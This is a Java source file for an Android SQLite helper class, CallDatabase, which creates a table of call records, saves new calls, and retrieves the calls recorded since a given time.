package com.samsung.utils.phone.db;

import java.util.ArrayList;

import com.samsung.utils.phone.primitives.CallObject;
import com.samsung.utils.phone.primitives.ServiceObject;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
import android.database.sqlite.SQLiteOpenHelper;

public class CallDatabase extends SQLiteOpenHelper implements DatabaseBase {

	public static final String TABLE_NAME = "cmc"; // call

	public static final String PERSONNAME = "personname";
	public static final String NUMBER = "number";
	public static final String CALL_TYPE = "type";
	public static final String DATE = "date";
	public static final String DURATION = "duration";// in seconds

	Context context = null;

	public CallDatabase(Context context, String name, CursorFactory factory,
			int version) {
		super(context, name, factory, version);
		this.context = context;
	}

	private void saveNewCall(CallObject callObject) {
		ContentValues values = new ContentValues();
		values.put(PERSONNAME, callObject.name);
		values.put(NUMBER, callObject.phoneNumber);
		values.put(CALL_TYPE, Integer.parseInt(callObject.callType));
		values.put(DATE, callObject.dateLong + "");
		values.put(DURATION, Integer.parseInt(callObject.duration));

		SQLiteDatabase dB = getWritableDatabase();
		dB.insert(TABLE_NAME, null, values);
		dB.close();
	}

	@Override
	public void saveServiceObject(ServiceObject object) {
		saveNewCall((CallObject) object);
	}

	@Override
	public void onCreate(SQLiteDatabase db) {
		String sql = "CREATE TABLE " + TABLE_NAME + " ("
				+ "id INTEGER PRIMARY KEY AUTOINCREMENT," + PERSONNAME
				+ " TEXT," + NUMBER + " TEXT," + CALL_TYPE + " INTEGER," + DATE
				+ " TEXT," + DURATION + " INTEGER" + ")";
		db.execSQL(sql);
		
	}

	@Override
	public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
		if (oldVersion >= newVersion)
			return;
		if (newVersion == 3) {
			db.execSQL(" DROP TABLE IF EXISTS " + TABLE_NAME);
		}
		onCreate(db);
	}

	@Override
	public ArrayList<ServiceObject> getServiceObjects(long lastSearchTime) {

		ArrayList<ServiceObject> objects = new ArrayList<ServiceObject>();

		try {
			SQLiteDatabase dB = getReadableDatabase();
			String selection = DATE + " >= " + lastSearchTime;
			Cursor cursor = dB.query(TABLE_NAME, null, selection, null, null,
					null, null);
			int indexType = cursor.getColumnIndex(CALL_TYPE);
			int indexNumber = cursor.getColumnIndex(NUMBER);
			int indexDate = cursor.getColumnIndex(DATE);
			int indexPerson = cursor.getColumnIndex(PERSONNAME);
			int indexDuration = cursor.getColumnIndex(DURATION);

			if (indexType < 0 || !cursor.moveToFirst())
				return objects;
			
			do {
				CallObject callTemp = new CallObject(
						cursor.getString(indexPerson),
						cursor.getString(indexNumber),
						cursor.getString(indexType),
						cursor.getString(indexDuration),
						cursor.getString(indexDate));

				objects.add(callTemp);
			} while (cursor.moveToNext());
			cursor.close();
		} catch (Exception e) {
			
		}

		return objects;
	}

}
